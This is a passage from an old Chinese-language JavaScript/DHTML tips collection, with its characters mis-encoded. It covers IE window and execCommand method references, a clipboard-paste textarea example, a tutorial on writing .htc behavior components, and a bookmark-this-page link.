//sFeatures=(*channelmode = { yes | no | 1 | 0 };directories = { yes | no | 1 | 0 };fullscreen = { yes | no | 1 | 0 };height = number;left = number;location = { yes | no | 1 | 0 };menubar = { yes | no | 1 | 0 };resizable = { yes | no | 1 | 0 };scrollbars = { yes | no | 1 | 0 };status = { yes | no | 1 | 0 };titlebar = { yes | no | 1 | 0 };toolbar = { yes | no | 1 | 0 };top = number;width = number;*)

print()

//打印當(dāng)前窗口文檔內(nèi)容

prompt( [sMessage] [, sDefaultValue])

//彈出輸入對(duì)話框

resizeBy(iX, iY)

//以相對(duì)方式改變窗口大小

resizeTo(iWidth, iHeight)

//以絕對(duì)方式改變窗口大小

scroll(iX,iY)

滾動(dòng)窗口,與scrollTo一樣的效果,出于兼容性的考慮保留下來(lái)的方法

scrollBy(iX, iY)

//用相對(duì)方式滾動(dòng)窗口

scrollTo(iX, iY)

//用絕對(duì)方式滾動(dòng)窗口

setActive()

//激活目標(biāo)而不將視線轉(zhuǎn)向目標(biāo)

setInterval(vCode, iMilliSeconds [, sLanguage])

//定時(shí)執(zhí)行一段代碼

setTimeout(vCode, iMilliSeconds, sLanguage)

//延時(shí)執(zhí)行一段代碼

showHelp(sURL [, vContextID])

//打開(kāi)一個(gè)幫助文件,sURL為幫助文檔地址,vContextID為幫助索引號(hào)

showModalDialog(sURL [, vArguments] [, sFeatures])

showModalDialog(sURL [, vArguments] [, sFeatures])

//打開(kāi)一個(gè)模式對(duì)話框

//vArguments=需要向新開(kāi)模式對(duì)話框傳遞的參數(shù)

//sFeatures=(*dialogHeight:sHeight;dialogLeft:sXPos;dialogTop:sYPos;dialogWidth:sWidth;center:{ yes | no | 1 | 0 | on | off };dialogHide:{ yes | no | 1 | 0 | on | off };edge:{ sunken | raised };help:{ yes | no | 1 | 0 | on | off };resizable:{ yes | no | 1 | 0 | on | off };scroll:{ yes | no | 1 | 0 | on | off };status:{ yes | no | 1 | 0 | on | off };unadorned:{ yes | no | 1 | 0 | on | off };*)

showModelessDialog(sURL [, vArguments] [, sFeatures])

//打開(kāi)一個(gè)非模式對(duì)話框

//vArgument=需要向新開(kāi)模式對(duì)話框傳遞的參數(shù)

//sFeatures=(*dialogHeight:sHeight;dialogLeft:sXPos;dialogTop:sYPos;dialogWidth:sWidth;center:{ yes | no | 1 | 0 | on | off };dialogHide:{ yes | no | 1 | 0 | on | off };edge:{ sunken | raised };help:{ yes | no | 1 | 0 | on | off };resizable:{ yes | no | 1 | 0 | on | off };scroll:{ yes | no | 1 | 0 | on | off };status:{ yes | no | 1 | 0 | on | off };unadorned:{ yes | no | 1 | 0 | on | off };*)

54.execCommand的完全參考(中文版)

document.execCommand(sCommand[,交互方式, 動(dòng)態(tài)參數(shù)])

2D-Position;document.execCommand("2D-Position","false","true");使絕對(duì)定位的對(duì)象可直接拖動(dòng);ie5.5

AbsolutePosition;document.execCommand("AbsolutePosition","false","true");使對(duì)象定位變成絕對(duì)定位;ie5.5

BackColor;document.execCommand("BackColor","false",sColor);設(shè)置背景顏色;ie4.0

BlockDirLTR;none;使塊級(jí)元素排版方式為從左到右?;不支持

BlockDirRTL;none;使塊級(jí)元素排版方式為從右到左?;不支持 Bold;document.execCommand("Bold","false",null);使選中區(qū)域的文字加粗;ie4.0

BrowseMode;none;設(shè)置瀏覽器模式?;不支持 Copy;

document.execCommand("Copy","false",null);復(fù)制選中的文字到剪貼板;ie4.0 CreateBookmark;document.execCommand("CreateBookmark","false",sAnchorName);設(shè)置指定錨點(diǎn)為書(shū)簽;ie4.0

CreateLink;document.execCommand("CreateLink","false",sLinkURL);將選中文本變成超連接,若第二個(gè)參數(shù)為true,會(huì)出現(xiàn)參數(shù)設(shè)置對(duì)話框;ie4.0

Cut;document.execCommand("Cut","false",null);剪貼選中的文字到剪貼板;ie4.0

Delete;document.execCommand("Delete","false",null);刪除選中的文字;ie4.0

DirLTR;none;排版方式為從左到右?;不支持 DirRTL;none;排版方式為從右到左?;不支持

EditMode;none;設(shè)置編輯模式?;不支持

FontName;document.execCommand("FontName","false",sFontName);改變選中區(qū)域的字體;ie4.0

FontSize;document.execCommand("FontSize","false",sSize|iSize);改變選中區(qū)域的字體大小;ie4.0

ForeColor;document.execCommand("ForeColor","false",sColor);設(shè)置前景顏色;ie4.0

FormatBlock;document.execCommand("FormatBlock","false",sTagName);設(shè)置當(dāng)前塊的標(biāo)簽名;ie4.0

55.可以在TEXTAREA中實(shí)現(xiàn)在光標(biāo)處用腳本來(lái)加入文本嗎?

<form>

<textarea cols="50"></textarea>

<br/>

<textarea cols="50"></textarea>

<br/>

<textarea cols="50"></textarea>

<br/>

<input type=button value="paste" onclick=paste()>

<input type="reset" name="Reset" value="Reset">

<script language=JavaScript>

var lastElement=null;

function BlurText()

{

lastElement=event.srcElement;

}

for(var i in document.all)

{

var Element=document.all[i];

if(Element.tagName=="TEXTAREA")

// if(Element.type=="text")

Element.onblur=BlurText;

}

function paste()

{

lastElement.focus();

document.execCommand("paste");

}

</script>

</form>
56.什么是.htc?

作者:沈欣  出處:china.com

在微軟IE 5.0版本的瀏覽器發(fā)布以前,網(wǎng)頁(yè)編程中面對(duì)的最大挑戰(zhàn)就是不能輕易地創(chuàng)建組件,以達(dá)到代碼重用和多頁(yè)面共享的目的。這個(gè)問(wèn)題一直困擾著DHTML(動(dòng)態(tài) HEML)的網(wǎng)頁(yè)編程者。他們只能不斷地重復(fù)書(shū)寫HTML、CSS和JAVASCRIPT的代碼,以滿足多個(gè)頁(yè)面上的重復(fù)或相似的功能。自IE 5.0瀏覽器發(fā)布后,這種情況得到了改善,它帶給我們一個(gè)新的指令組合方法,可把實(shí)現(xiàn)特定功能的代碼封裝在一個(gè)組件內(nèi),從而實(shí)現(xiàn)多頁(yè)面的代碼重用,使網(wǎng)頁(yè)編程進(jìn)入一個(gè)全新的天地。這個(gè)新的技術(shù)就是我們要談到的DHTML中的“行為”(Behaviors)。

  “行為”作為一個(gè)簡(jiǎn)單易用的組件,它封裝了頁(yè)面上特定的功能或動(dòng)作。當(dāng)把一個(gè)“行為”附到WEB頁(yè)面中的一個(gè)元件上時(shí),這個(gè)元件的原有行為就會(huì)有所改變。因此,網(wǎng)頁(yè)編程者可以開(kāi)發(fā)通用的DHTML指令,并改變?cè)袑?duì)象的一些屬性,用“行為”來(lái)增強(qiáng)一個(gè)對(duì)象的功能,同時(shí)也簡(jiǎn)化了頁(yè)面的HTML代碼。而且“行為”的創(chuàng)建和使用也非常簡(jiǎn)單方便,所需的知識(shí)也只是原來(lái)已經(jīng)習(xí)慣使用的CSS樣式表、HTML指令和JAVASCRIPT腳本語(yǔ)言。只要你對(duì)此有所了解,有過(guò)實(shí)際編程的經(jīng)歷,學(xué)習(xí)并掌握“行為”的使用完全沒(méi)有問(wèn)題。我們將以一個(gè)改變字體效果的“行為”組件為例來(lái)說(shuō)明如何編寫和使用一個(gè)“行為”,并體驗(yàn)“行為”給頁(yè)面編輯帶來(lái)的優(yōu)點(diǎn)和方便之處。

  首先新建一個(gè)名為font_efftce.htc的文本文件,組成“行為”組件的文件都是以.htc為擴(kuò)展名,這個(gè)文件中的內(nèi)容就是我們對(duì)這個(gè)“行為”的描述。它的創(chuàng)建和使用步驟如下:

(1)首先給這個(gè)“行為”增加幾個(gè)事件響應(yīng),語(yǔ)句書(shū)寫格式如下:

< PUBLIC:ATTACH EVENT="onmouseover" ONEVENT="glowit()" / >

< PUBLIC:ATTACH EVENT="onmouseout" ONEVENT="noglow()" / >

< PUBLIC:ATTACH EVENT="onmousedown" ONEVENT="font2yellow()" / >

< PUBLIC:ATTACH EVENT="onmouseup" ONEVENT="font2blue()" / >

  “EVENT”對(duì)應(yīng)所需事件名,在這里分別為:onmouseover,onmouseout,onmousedown,onmouseup四個(gè)事件名,你當(dāng)然可以再增加其它的事件名來(lái)滿足你的特定需求。“ONEVENT”對(duì)應(yīng)著個(gè)自的事件句柄,即事件觸發(fā)時(shí)所調(diào)用的函數(shù)名稱。glowit()函數(shù)使字體周圍產(chǎn)生一個(gè)紅色的輝光。noglow()函數(shù)是消除字體的輝光效果。Font2yellow()函數(shù)是把字體顏色改為黃色。Font2blue()函數(shù)是把字體顏色改為藍(lán)色。四個(gè)事件的定義都是相似的。

(2)接下來(lái),再給這個(gè)“行為”增加二個(gè)“方法”定義,內(nèi)容如下。

< PUBLIC:METHOD NAME="move_down" / >

< PUBLIC:METHOD NAME="move_right" / >

  “NAME”參數(shù)對(duì)應(yīng)的是給定的“方法”名稱。move_down和move_right分別是向下和向右移動(dòng)的“方法”對(duì)應(yīng)的函數(shù)名稱。注意,在方法名的后面不要帶“( )”括號(hào),即不要寫成“move_down()”這個(gè)樣子,這在“方法”定義的語(yǔ)法上是不允許的。

(3)接下來(lái)的工作就是在我們熟悉的DHTML環(huán)境下,用JAVASCRIPT腳本語(yǔ)句編寫“事件句柄”和“方法”所對(duì)應(yīng)的函數(shù)內(nèi)容,實(shí)現(xiàn)預(yù)期的效果。具體內(nèi)容參考下面的源程序。其中的“element”參數(shù)指的是這個(gè)“行為”所附著的對(duì)象,因?yàn)?#8220;行為”總是被附著到頁(yè)面的元件上面,并通過(guò)這個(gè)元件發(fā)揮作用。其它語(yǔ)句都是DHTML的編程內(nèi)容,就不再多說(shuō)了。如有不明之處,可參考微軟的MSDN開(kāi)發(fā)文檔中有關(guān)IE瀏覽器的內(nèi)容,上面有詳細(xì)的DHTML編程參考內(nèi)容、屬性和方法使用說(shuō)明等,并包含了大量的文章和舉例程序。經(jīng)常訪問(wèn)微軟的MSDN文檔,尤其對(duì)于初學(xué)者來(lái)說(shuō)是一個(gè)良好的學(xué)習(xí)習(xí)慣,你幾乎可以得到任何你想找的答案,它的網(wǎng)址為:http://msdn.microsoft.com/ie/

  完整的“行為”文檔“font_effect.htc”的內(nèi)容如下:

////////////////////////////“行為”文檔開(kāi)始///////////////////////////////////

//給“行為”增加四個(gè)鼠標(biāo)事件

< PUBLIC:ATTACH EVENT="onmouseover" ONEVENT="glowit()" / >

< PUBLIC:ATTACH EVENT="onmouseout" ONEVENT="noglow()" / >

< PUBLIC:ATTACH EVENT="onmousedown" ONEVENT="font2yellow()" / >

< PUBLIC:ATTACH EVENT="onmouseup" ONEVENT="font2blue()" / >

//給“行為”定義二個(gè)方法

< PUBLIC:METHOD NAME="move_down" / >

< PUBLIC:METHOD NAME="move_right" / >

< SCRIPT LANGUAGE="JScript" >

//定義一個(gè)保存字體顏色的變量

var font_color;

//定義向下移動(dòng)文字的方法

function move_down()

{

element.style.posTop+=2;

}

//定義向右移動(dòng)文字的方法

function move_right()

{

element.style.posLeft +=6;

}

//定義鼠標(biāo)onmouseup事件的調(diào)用函數(shù)

function font2blue(){

if (event.srcElement == element)

{

element.style.color='blue';

}

}

//定義鼠標(biāo)onmousedown事件的調(diào)用函數(shù)

function font2yellow(){

if (event.srcElement == element)

{

element.style.color='yellow';

}

}

//定義鼠標(biāo)onmouseover事件的調(diào)用函數(shù)

function glowit()

{

if (event.srcElement == element)

{

font_color=style.color;

element.style.color='white';

element.style.filter="glow(color=red,strength=2)";

}

}

//定義鼠標(biāo)onmouseout事件的調(diào)用函數(shù)

function noglow()

{

if (event.srcElement == element)

{

element.style.filter="";

element.style.color=font_color;

}

}

< /SCRIPT >

//////////////////“行為”文檔結(jié)束///////////////////////////////

(4)如何在一個(gè)頁(yè)面上使用“行為”

  在頁(yè)面上使用“行為”組件,并不需要學(xué)習(xí)新的知識(shí)。所需的知識(shí)的也不過(guò)是CSS樣式表和HTML的設(shè)置而已,請(qǐng)看下面的語(yǔ)句。

< STYLE >

.myfilter{behavior:url(font_effect.htc);position:relative;font-weight:bold;width=180;left:0;}

< /STYLE >

  可以看出,這和以前我們已經(jīng)熟知的樣式表設(shè)置完全相同。上面的語(yǔ)句定義了一個(gè)樣式名:“myfilter”,其中對(duì)我們來(lái)說(shuō)比較新的內(nèi)容是:“behavior:url(font_effect.htc);”,“behavior”是新增的“行為”屬性名,這就是“行為”在樣式表中的設(shè)置方式。括號(hào)中的內(nèi)容是“行為”文檔的文件名,本例中表明“行為”文檔在與頁(yè)面文件在同一個(gè)目錄下,如果“行為”文檔安置在其它目錄下,在此參數(shù)的前面要加上相應(yīng)的路徑名,以保證可以正確地定位“行為”文檔的位置。此“樣式”中的其它內(nèi)容就是普通的樣式屬性設(shè)置,可根據(jù)你的需要增減,但在此例中,由于使用了“glow”濾鏡效果,至少要設(shè)置一個(gè)寬度(width)屬性。通過(guò)以上的樣式指定,我們就有了一個(gè)名為:“myfilter”的樣式,它附帶一個(gè)有字體變化效果的“行為”。如果你想要在一個(gè)頁(yè)面元件上使用這個(gè)附帶“行為”的樣式,同樣也很簡(jiǎn)單,只要把這個(gè)“樣式名”安置在元件的屬性設(shè)置區(qū)域即可,見(jiàn)下面的語(yǔ)句。

< span id="myspan" class='myfilter' >行為產(chǎn)生的文字效果< /span >< br >

< span class='myfilter' >鼠標(biāo)指向后產(chǎn)生輝光< /span >

  以上語(yǔ)句里面沒(méi)有什么新的內(nèi)容,class='myfilter'就是我們所熟悉的樣式設(shè)置。在第一個(gè)“span”標(biāo)記的屬性中還定義了一個(gè)“id”標(biāo)記,稍后就會(huì)看到,這是用來(lái)演示調(diào)用“行為”內(nèi)的“方法”而設(shè)置的。這樣設(shè)置后,“span”元件中的內(nèi)容就可以顯示出“行為”組件內(nèi)的預(yù)定效果:
1. 鼠標(biāo)指針移動(dòng)到文字內(nèi)容上時(shí),在文字周圍產(chǎn)生紅色的輝光效果,同時(shí)文字變成白色。

2. 當(dāng)鼠標(biāo)按鈕按下時(shí),文字顏色改變?yōu)辄S色。

3. 鼠標(biāo)按鈕抬起后,文字顏色又改變?yōu)樗{(lán)色。

4. 當(dāng)鼠標(biāo)指針移動(dòng)到文字區(qū)域以外時(shí),去掉了紅色輝光效果,文字恢復(fù)原樣。

  另外,我們?cè)诙x“行為”時(shí)設(shè)置了二個(gè)“方法”,“move_down”和“move_right”。為調(diào)用這二個(gè)“方法”,定義了二個(gè)按鈕:

< button onclick="myspan.move_right();" >向右移動(dòng)第一行文字< /button >< br >

< button onclick="myspan.move_down();" >向下移動(dòng)第一行文字< /button >

  用按鈕的onclick事件去調(diào)用這二個(gè)“方法”,先前定義的“id”標(biāo)記就作為元件的對(duì)象名稱,用“myspan.move_down”來(lái)調(diào)用“方法”,操縱這個(gè)對(duì)象。可以看到,在按下相應(yīng)的按鈕后,會(huì)使第一行的文字產(chǎn)生向下或向右的移動(dòng)。雖然只是用第一行文字做了示范,實(shí)際上,只要做相應(yīng)的設(shè)置,你也可以移動(dòng)其它對(duì)象。頁(yè)面源文檔的完整內(nèi)內(nèi)容如下:

< html >

< HEAD >

< TITLE >行為效果演示< /TITLE >

< STYLE >

.myfilter{behavior:url(font_effect.htc);position:relative;font-weight:bold;width=180;left:0;}

< /STYLE >

< /HEAD >

< BODY >

< span id="myspan" class='myfilter' >行為產(chǎn)生的文字效果< /span >< br >

< span class='myfilter' >鼠標(biāo)指向后產(chǎn)生輝光< /span >< br >

< span class='myfilter' >同時(shí)文字變白< /span >< br >

< span class='myfilter' >按下鼠標(biāo)后文字變黃< /span >< br >

< span class='myfilter' >抬起鼠標(biāo)后文字變藍(lán)< /span >< br >

< span class='myfilter' >鼠標(biāo)離開(kāi)后文字恢復(fù)原狀< /span >< br >

< button onclick="myspan.move_right();" >向右移動(dòng)第一行文字< /button >< br >

< button onclick="myspan.move_down();" >向下移動(dòng)第一行文字< /button >

< /BODY >

< /html >

  通過(guò)以上的簡(jiǎn)單介紹,可以看出,我們很容易地在一個(gè)“行為”中同時(shí)組合了多種文字變化效果,通過(guò)簡(jiǎn)單的“樣式”設(shè)置,任意地將它與頁(yè)面元件相關(guān)連,體現(xiàn)了“行為”組件的優(yōu)點(diǎn)和強(qiáng)大功能。一個(gè)“行為”組件,不僅能在一個(gè)頁(yè)面內(nèi)重復(fù)使用,也可供同一站點(diǎn)上的所有頁(yè)面使用。試想一下,如果不使用“行為”來(lái)完成上述的效果,雖然可以在頁(yè)面內(nèi)調(diào)用一組預(yù)定的函數(shù)來(lái)完成同樣的功能,但頁(yè)面內(nèi)每一個(gè)使用文字效果的元件都要附加四個(gè)鼠標(biāo)事件,如果在多個(gè)頁(yè)面內(nèi)使用相同的效果,被調(diào)用的函數(shù)也需要在每一個(gè)頁(yè)面內(nèi)重復(fù)設(shè)置。相比之下,孰優(yōu)孰劣是很明顯的。所以,使用“行為”組件,可以制作出簡(jiǎn)潔、高效、通用和便于維護(hù)的頁(yè)面。本文的舉例只是為了說(shuō)明“行為”組件的編寫和使用過(guò)程,使讀者對(duì)“行為”編程有一個(gè)概括的了解,并以此基礎(chǔ)制作出自己所需要的“行為”組件,或直接引用滿足個(gè)人需要的現(xiàn)成“行為”組件,因?yàn)?#8220;組件共享”的概念也是“行為”開(kāi)發(fā)者的初衷。最后,愿本文能起到“拋磚引玉”的目的,使讀者步入精彩的DHTML網(wǎng)頁(yè)編程天地。

說(shuō)明:

HTC是HTML component的縮寫,

是IE5.0的主要擴(kuò)展之一,

除了具備一般組件的可重用優(yōu)點(diǎn)之外,

還具有易于開(kāi)發(fā)使用等優(yōu)點(diǎn),

因?yàn)樾枰胪獠课募?這里就不舉例了,寶庫(kù)里有例子.

控件和組件

HTC提供了一個(gè)簡(jiǎn)單機(jī)制以在腳本中實(shí)現(xiàn)DHTML行為。一個(gè)HTC文件和HTML文件沒(méi)有任何差別,并且以“.htc”為后綴,

可以使用HTC實(shí)現(xiàn)以下行為:

設(shè)定屬性和方法。通過(guò)“PROPERTY”和“METHOD”元素定義

設(shè)置自定義事件。通過(guò)“EVENT”元素實(shí)現(xiàn),用該元素的“fire()”方法釋放事件,

通過(guò)“createEventObject()”方法設(shè)置事件環(huán)境。

訪問(wèn)所包含該HTC的的HTML頁(yè)的DHTML對(duì)象模型,使用HTC的“element"對(duì)象,返回

一個(gè)附加行為的元素,使用該對(duì)象,HTC可以訪問(wèn)包含文擋及它的對(duì)象模型(屬性、方法、事件)。

收取通知,使用”ATTACH“元素實(shí)現(xiàn),瀏覽器不但通知HTC標(biāo)準(zhǔn)的DHTML事件,而且通知HTC兩種特殊事件:oncontentready事件和ondocumentready事件 。

定義標(biāo)記和命名空間

HTC的基礎(chǔ)是自定義標(biāo)記

要為頁(yè)面定義自定義標(biāo)記,必須為該標(biāo)記提供命名空間

要使用該標(biāo)記必須在該標(biāo)記前加上正確的XML命名空間前綴

例如:

定義一個(gè)新標(biāo)記RIGHT的例子

<HTML XMLNSOCJS>

<HEAD>

<STYLE>

@media all {

DOCJSRIGHT {text-align:right; width:100}

}

</STYLE>

</HEAD>

<BODY>

<DOCJS:RIGHT>

Read Doc JavaScript's columns, tips, tools, and tutorials

</DOCJS:RIGHT>

</BODY>

</HTML>

可以在單個(gè)HTML標(biāo)記

中定義多個(gè)命名空間:

<HTML XMLNSOCJS XMLNSOCJAVASCRIPT>

組件定義

組件的名字是由HTC文檔里定義在第一行的XML命名空間決定的

該頁(yè)不用調(diào)用其他的HTC話,就只有一個(gè)命名空間定義

實(shí)際上,HTML組件的定義就是自定義標(biāo)簽行為的定義

該行為包括一個(gè)屬性和一個(gè)事件:

<HTML xmlns:MyTag>

<HEAD>

<PUBLIC:COMPONENT tagName="MyTag">

<PROPERTY NAME="value"></PROPERTY>

<ATTACH EVENT="oncontentready" ONEVENT="fnInit()"<>/ATTACH>

</PUBLIC:COMPONENT>

<STYLE>//為組件定義樣式表

.cssMyTag{

}

</STYLE>

<SCRIPT language=JavaScript>

function MyTagBehavior1(){} //為組件定義方法

</SCRIPT>

</HEAD>

<BODY onclick=MyTagBehavior1> //為組件定義響應(yīng)事件

</BODY>

</HTML>

其中的oncontentready是在組件被調(diào)用者完全導(dǎo)入時(shí)觸發(fā)

再看看fnInit()

function fnInit() {

document.body.innerHTML = element.value;//設(shè)定組件顯示內(nèi)容

document.body.className = "clsMyTag"; //設(shè)定顯示樣式表,

defaults.viewLink = document; //使本組件對(duì)其他文檔可見(jiàn)

element.aProperty = element.value; //設(shè)置組件的屬性值

}

組件的調(diào)用

<HTML xmlns:MyCom>

<HEAD>

<?IMPORT NAMESPACE="MyCom" IMPLEMENTATION="MyTag.htc"/>

</HEAD>

<BODY>

<MyCom:MyTag></MyCom:MyTag>

</BODY>

</html>

57.如何把頁(yè)面加入用戶的收藏夾?

<a href="javascript:window.external.AddFavorite('http://www.bihu.net','織夢(mèng)亂彈')">收藏</a>